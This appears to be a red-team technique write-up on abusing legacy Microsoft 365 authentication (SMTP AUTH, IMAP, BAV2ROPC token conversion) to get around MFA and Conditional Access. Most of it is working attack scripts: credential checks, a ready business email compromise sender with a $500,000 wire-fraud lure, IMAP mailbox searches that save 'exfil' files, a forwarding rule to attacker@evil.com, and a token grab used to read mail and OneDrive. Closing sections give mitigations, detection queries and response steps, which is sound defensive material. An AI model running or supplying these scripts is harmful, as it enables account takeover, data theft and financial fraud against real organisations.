| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-008 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | M365 (Exchange Online, SharePoint Online), Entra ID |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE (still enabled by default in many organizations) |
| Last Verified | 2026-01-10 |
| Affected Versions | All M365 tenants with legacy auth not explicitly disabled |
| Patched In | Configuration mitigation only; no patch available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Legacy authentication protocol abuse exploits the fact that older authentication protocols (SMTP, POP3, IMAP, MAPI, Exchange ActiveSync) do not enforce modern security controls such as multi-factor authentication (MFA), Conditional Access policies, or device compliance requirements. Attackers with valid but weak credentials can authenticate directly to M365 services using these legacy protocols, completely bypassing conditional access and MFA safeguards. BAV2ROPC (Basic Authentication to ROPC conversion) is a specific technique where Microsoft’s legacy authentication layer silently converts basic auth to OAuth 2.0 ROPC (Resource Owner Password Credentials), creating a detectable but dangerous attack vector.
Attack Surface: SMTP AUTH endpoints (smtp.office365.com:587), POP3/IMAP endpoints (pop.office365.com:995, imap.office365.com:993), Exchange Web Services (EWS), and any M365 service that accepts basic authentication without MFA enforcement. The attack can originate from any network location worldwide.
Business Impact: Account takeover, email exfiltration, and lateral movement to connected cloud applications. Attackers can read entire mailboxes, send emails as the compromised user, access OneDrive/SharePoint (if delegated), and establish persistent backdoors. Unlike modern attack vectors, legacy protocol abuse leaves minimal forensic evidence if logs are not properly configured.
Technical Context: Exploitation typically takes 2-5 minutes with valid credentials. Detection is very low if the organization has not enabled Conditional Access blocking for legacy protocols. Attackers can operate 24/7 from any location without triggering suspicious sign-in alerts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.1, 1.3.1 | Disable legacy authentication protocols; require MFA for all users |
| DISA STIG | C-3543A | Disable non-modern authentication mechanisms |
| CISA SCuBA | MS.AZA-1 | Block legacy authentication |
| NIST 800-53 | IA-2 (MFA) | Legacy protocols circumvent multi-factor authentication controls |
| GDPR | Art. 32 (Security of Processing) | Inadequate authentication mechanisms for user data access |
| DORA | Art. 9 (Protection and Prevention) | Weak authentication on regulated financial data |
| NIS2 | Art. 21 (Cyber Risk Management Measures) | Legacy protocols expose email and data systems to compromise |
| ISO 27001 | A.9.2.1 (User Registration and De-Registration) | Failure to enforce modern authentication standards |
| ISO 27005 | Risk Scenario: “Email Account Compromise via Legacy Auth” | Weak authentication protocol selection |
Supported Versions:
Tools Not Required: Exploitation uses standard tools (telnet, openssl, curl, Thunderbird)
# Connect to M365
Connect-ExchangeOnline
# Check organization-wide setting
Get-OrganizationConfig | Select-Object -ExpandProperty DefaultAuthenticationPolicy
# Check if IMAP/POP is enabled on mailbox level
Get-Mailbox -Identity "victim@company.com" | `
Select-Object ImapEnabled, PopEnabled, MAPIEnabled, ActiveSyncEnabled, SmtpClientAuthenticationDisabled
# Check per-protocol (if values are $true, protocol is enabled)
What to Look For:
ImapEnabled = $true, PopEnabled = $true, or SmtpClientAuthenticationDisabled = $false, legacy auth is enabled$false to properly mitigateConnect-MgGraph -Scopes "Policy.Read.All"
# Get all Conditional Access policies
Get-MgIdentityConditionalAccessPolicy | `
Select-Object DisplayName, State, Conditions
# Check if any policy blocks "Other clients (legacy protocols)"
Get-MgIdentityConditionalAccessPolicy | Where-Object {
$_.Conditions.ClientApplications.IncludeApplications -contains "Other"
} | Select-Object DisplayName, State
What to Look For:
Supported Versions: All M365 tenants
Objective: Confirm that SMTP AUTH is enabled and the credentials are valid.
Command (Bash/openssl):
#!/bin/bash
TARGET_USER="victim@company.com"
TARGET_PASS="P@ssw0rd123"
SMTP_SERVER="smtp.office365.com"
SMTP_PORT="587"
# Test SMTP connection and authenticate
(
sleep 1
echo "EHLO attacker.com"
sleep 1
echo "STARTTLS"
sleep 2
echo "AUTH LOGIN"
sleep 1
echo "$(echo -n $TARGET_USER | base64)"
sleep 1
echo "$(echo -n $TARGET_PASS | base64)"
sleep 2
echo "QUIT"
) | openssl s_client -connect $SMTP_SERVER:$SMTP_PORT -starttls smtp 2>/dev/null | \
grep -E "^250|^235|^503|^535"
# Expected output (235 = authentication successful)
# 250 = Command successful
# 503/535 = Authentication failed
Expected Output (if successful):
235 2.7.0 Authentication successful
What This Means:
OpSec & Evasion:
Objective: Craft a convincing email to send to internal targets (CEO, Finance, etc.).
Command (Bash with mail binary):
#!/bin/bash
SMTP_SERVER="smtp.office365.com"
SMTP_PORT="587"
SENDER="victim@company.com"
SENDER_PASS="P@ssw0rd123"
RECIPIENT="finance@company.com"
# Create email with BEC payload
EMAIL_CONTENT=$(cat <<'EOF'
From: CFO <victim@company.com>
To: finance@company.com
Subject: URGENT: Wire Transfer Approval Needed
Date: $(date -R)
Content-Type: text/html; charset="UTF-8"
<html>
<body>
<p>I need you to immediately authorize a wire transfer to our new vendor.</p>
<p><b>Details:</b></p>
<ul>
<li>Recipient: ABC Consulting Inc.</li>
<li>Account: 1234567890</li>
<li>Amount: $500,000 USD</li>
<li>Reason: Emergency consulting for Q1 project</li>
</ul>
<p>This is time-sensitive. Please confirm receipt and approve within 30 minutes.</p>
<p>Thanks,<br/>
CFO</p>
</body>
</html>
EOF
)
# Send via SMTP
(
sleep 1
echo "EHLO attacker.com"
sleep 1
echo "STARTTLS"
sleep 2
echo "AUTH LOGIN"
sleep 1
echo "$(echo -n $SENDER | base64)"
sleep 1
echo "$(echo -n $SENDER_PASS | base64)"
sleep 2
echo "MAIL FROM:<$SENDER>"
sleep 1
echo "RCPT TO:<$RECIPIENT>"
sleep 1
echo "DATA"
sleep 1
echo "$EMAIL_CONTENT"
sleep 1
echo "."
sleep 1
echo "QUIT"
) | openssl s_client -connect $SMTP_SERVER:$SMTP_PORT -starttls smtp 2>/dev/null
Expected Output:
250 2.0.0 OK
What This Means:
OpSec & Evasion:
Objective: Check the victim’s mailbox for email replies to confirm BEC success.
Command (Bash with IMAP):
#!/bin/bash
IMAP_SERVER="imap.office365.com"
IMAP_PORT="993"
TARGET_USER="victim@company.com"
TARGET_PASS="P@ssw0rd123"
# Connect to IMAP and download recent emails
(
sleep 1
echo "A LOGIN $TARGET_USER $TARGET_PASS"
sleep 2
echo "A SELECT INBOX"
sleep 1
echo "A FETCH 1:5 (BODY[HEADER.FIELDS (FROM SUBJECT)])"
sleep 2
echo "A LOGOUT"
) | openssl s_client -connect $IMAP_SERVER:$IMAP_PORT 2>/dev/null | \
grep -E "^From:|^Subject:|^Date:" -A 2
Expected Output:
From: finance@company.com
Subject: RE: URGENT: Wire Transfer Approval Needed
Date: Mon, 10 Jan 2026 14:23:45 +0000
[Body content...]
Approved for wire transfer.
What This Means:
Supported Versions: All M365 tenants
Objective: Establish IMAP connection and authenticate with victim’s credentials.
Command (Bash):
#!/bin/bash
IMAP_SERVER="imap.office365.com"
IMAP_PORT="993"
TARGET_USER="victim@company.com"
TARGET_PASS="P@ssw0rd123"
# Open IMAP connection
(
echo "A LOGIN $TARGET_USER $TARGET_PASS"
sleep 2
echo "A CAPABILITY"
sleep 1
echo "A LIST \"\" \"*\""
sleep 1
echo "A LOGOUT"
) | openssl s_client -connect $IMAP_SERVER:$IMAP_PORT -quiet 2>/dev/null
Expected Output:
A OK Logged in
* CAPABILITY IMAP4REV1 SASL-IR ...
* LIST (\HasNoChildren) "/" "INBOX"
* LIST (\HasChildren \Noselect) "/" "[Gmail]"
...
A OK LIST completed
What This Means:
OpSec & Evasion:
Objective: Extract emails containing sensitive information (financial, legal, HR).
Command (Bash/Python):
#!/usr/bin/env python3
import imaplib
import email
import base64
import os
IMAP_SERVER = "imap.office365.com"
IMAP_PORT = 993
TARGET_USER = "victim@company.com"
TARGET_PASS = "P@ssw0rd123"
# Connect to IMAP
imap = imaplib.IMAP4_SSL(IMAP_SERVER, IMAP_PORT)
imap.login(TARGET_USER, TARGET_PASS)
# Search for emails with financial keywords
keywords = ["budget", "salary", "confidential", "merger", "acquisition", "financial"]
for keyword in keywords:
status, messages = imap.search(None, f'TEXT "{keyword}"')
if messages[0]:
email_ids = messages[0].split()
print(f"[*] Found {len(email_ids)} emails with keyword: {keyword}")
for email_id in email_ids[:5]: # Download first 5 matching emails
status, msg_data = imap.fetch(email_id, "(RFC822)")
msg = email.message_from_bytes(msg_data[0][1])
# Extract email details
sender = msg.get("From", "Unknown")
subject = msg.get("Subject", "No Subject")
date = msg.get("Date", "Unknown")
print(f"[+] Email: {sender} - {subject}")
print(f" Date: {date}")
# Save email to file
filename = f"/tmp/exfil_{email_id.decode()}_{keyword}.eml"
with open(filename, "wb") as f:
f.write(msg_data[0][1])
print(f"[+] Saved to: {filename}")
imap.close()
Expected Output:
[*] Found 42 emails with keyword: budget
[+] Email: finance@company.com - Q4 Budget Review - CONFIDENTIAL
Date: Thu, 08 Jan 2026 13:45:00 +0000
[+] Saved to: /tmp/exfil_1_budget.eml
What This Means:
OpSec & Evasion:
Objective: Check if victim has email forwarding rules, or establish a persistent forwarding rule.
Command (Bash/IMAP):
#!/bin/bash
# Using IMAP, check for mail forwarding rules (some servers expose this)
# For M365, forwarding is typically set via Exchange, but can be checked via IMAP sieve
SIEVE_SCRIPT=$(cat <<'EOF'
require ["redirect"];
if true {
redirect "attacker@evil.com";
}
EOF
)
# Most M365 deployments do not expose IMAP Sieve, so use PowerShell instead (requires admin)
# However, if you have compromised admin account:
# Set-Mailbox -Identity victim@company.com -ForwardingAddress attacker@evil.com
echo "[*] Attempting to enumerate mail forwarding rules via IMAP..."
echo "[*] Note: M365 requires PowerShell/REST for forwarding modification"
echo "[*] If attacker has compromised Global Admin, use:"
echo " Set-Mailbox -Identity victim@company.com -ForwardingAddress attacker@evil.com"
Supported Versions: All M365 tenants (Entra ID)
Objective: Authenticate using basic auth, which triggers Entra ID’s silent conversion to ROPC.
Command (Bash/curl):
#!/bin/bash
CLIENT_ID="04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Microsoft Office PowerShell (well-known)
TENANT_ID="common" # Or specific tenant if known
USERNAME="victim@company.com"
PASSWORD="P@ssw0rd123"
# Perform basic auth request (triggers BAV2ROPC conversion)
curl -X POST \
-u "$USERNAME:$PASSWORD" \
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-d "grant_type=password" \
-d "username=$USERNAME" \
-d "password=$PASSWORD" \
-d "client_id=$CLIENT_ID" \
-d "scope=https://graph.microsoft.com/.default offline_access" \
-d "login_hint=$USERNAME" \
2>/dev/null | jq '.'
Expected Output:
{
"token_type": "Bearer",
"scope": "Mail.Read Files.ReadWrite ...",
"expires_in": 3600,
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"refresh_token": "0.ARIAd-Z..."
}
What This Means:
OpSec & Evasion:
Objective: Use the OAuth token to access victim’s data via Microsoft Graph.
Command (Bash/curl):
#!/bin/bash
ACCESS_TOKEN="<STOLEN_ACCESS_TOKEN>"
# Read user's mailbox
curl -X GET "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?top=10" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
2>/dev/null | jq '.value[] | {from, subject, receivedDateTime}'
# List OneDrive files
curl -X GET "https://graph.microsoft.com/v1.0/me/drive/root/children" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
2>/dev/null | jq '.value[] | {name, size}'
# Get user's manager (for further targeting)
curl -X GET "https://graph.microsoft.com/v1.0/me/manager" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
2>/dev/null | jq '{displayName, userPrincipalName, jobTitle}'
Expected Output:
{
"from": {
"emailAddress": {
"address": "ceo@company.com"
}
},
"subject": "Q1 Strategic Initiative - CONFIDENTIAL",
"receivedDateTime": "2026-01-08T14:23:00Z"
}
What This Means:
Disable Legacy Authentication Protocols Globally:
Manual Steps (M365 Admin Center):
Manual Steps (PowerShell - Organization-Wide):
Connect-ExchangeOnline
# Disable all legacy protocols
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true
# For each mailbox, disable legacy protocols
Get-Mailbox -ResultSize Unlimited | Set-CASMailbox `
-ImapEnabled $false `
-PopEnabled $false `
-MAPIEnabled $false `
-ActiveSyncEnabled $false `
-SmtpClientAuthenticationDisabled $true
Validation Command:
Get-Mailbox -Identity "victim@company.com" | `
Select-Object ImapEnabled, PopEnabled, MAPIEnabled, ActiveSyncEnabled, SmtpClientAuthenticationDisabled
# Expected output: All should be False/$true
Enforce Conditional Access Block on Legacy Protocols:
Manual Steps (Azure Portal):
Block Legacy Authentication ProtocolsValidation: Test with legacy client; should see block message
Enable Microsoft Defender for Cloud Apps OAuth Policy:
Manual Steps:
Monitor for Legacy Auth Usage:
Manual Steps (Sentinel Alert):
SigninLogs
| where UserAgent contains "BAV2ROPC" or AuthenticationProtocol == "legacy"
| where ResultDescription !contains "MFA"
| summarize Count=count() by UserPrincipalName, IPAddress
| where Count > 5
Educate Users on Phishing/BEC Risks:
Manual Steps:
UserAgent contains “BAV2ROPC”AuthenticationProtocol = “Legacy” (older systems show this)New-InboxRule or Set-InboxRule (forwarding rule creation)Add-MailboxPermission (delegate access)Move-MoveRequest (mailbox forwarding)New-InboxRuleSet-Mailbox with ForwardingAddressEnable-Mailbox for IMAP/POPGet-MgAuditLogSignIn -Filter "userAgent contains 'BAV2ROPC'" | `
Select-Object UserDisplayName, CreatedDateTime, IPAddress, Location
Get-InboxRule -Identity "victim@company.com" | `
Where-Object { $_.ForwardTo -ne $null } | `
Select-Object Name, ForwardTo, Enabled
Get-MailboxStatistics -Identity "victim@company.com" | `
Select-Object LastLogonTime, LastUserActionTime
# Revoke all tokens and sessions for the compromised user
Revoke-MgUserSignInSession -UserId "victim@company.com"
Get-InboxRule -Identity "victim@company.com" | Remove-InboxRule -Force
# Reset password
Set-MgUserPassword -UserId "victim@company.com" -NewPassword (ConvertTo-SecureString "NewTempPassword123!" -AsPlainText -Force)
# Force MFA re-enrollment
Reset-MgUserAuthenticationMethodDefaultMfaMethod -UserId "victim@company.com"
# Check for delegate access
Get-MailboxPermission -Identity "victim@company.com" | Where-Object { $_.User -ne "NT AUTHORITY\SELF" }
# Check for send-as permissions
Get-RecipientPermission -Identity "victim@company.com" | Where-Object { $_.AccessRights -contains "SendAs" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device code phishing attacks | Attacker obtains valid M365 credentials |
| 2 | Credential Access | [CA-BRUTE-001] Azure portal password spray | Attacker uses weak/leaked credentials |
| 3 | Current Step | [LM-AUTH-008] | Legacy authentication protocol abuse |
| 4 | Data Exfiltration | [CHAIN-003] Token Theft to Data Exfiltration | Attacker exfils emails via IMAP/SMTP |
| 5 | Persistence | [REALWORLD-002] SMTP AUTH Legacy Protocol Abuse | Attacker maintains BEC backdoor |
| Protocol | Status | Alternatives | Risk Level |
|---|---|---|---|
| IMAP | Deprecated | Microsoft Graph Mail API | Critical |
| POP3 | Deprecated | Microsoft Graph Mail API | Critical |
| SMTP AUTH | Deprecated | Graph API sendMail | High |
| MAPI | Deprecated | Microsoft Graph Calendar/Contacts APIs | High |
| EWS | Deprecated (partial) | Graph API | Medium |
| Basic Auth | Deprecated | OAuth 2.0 / ROPC (for legacy apps only) | Critical |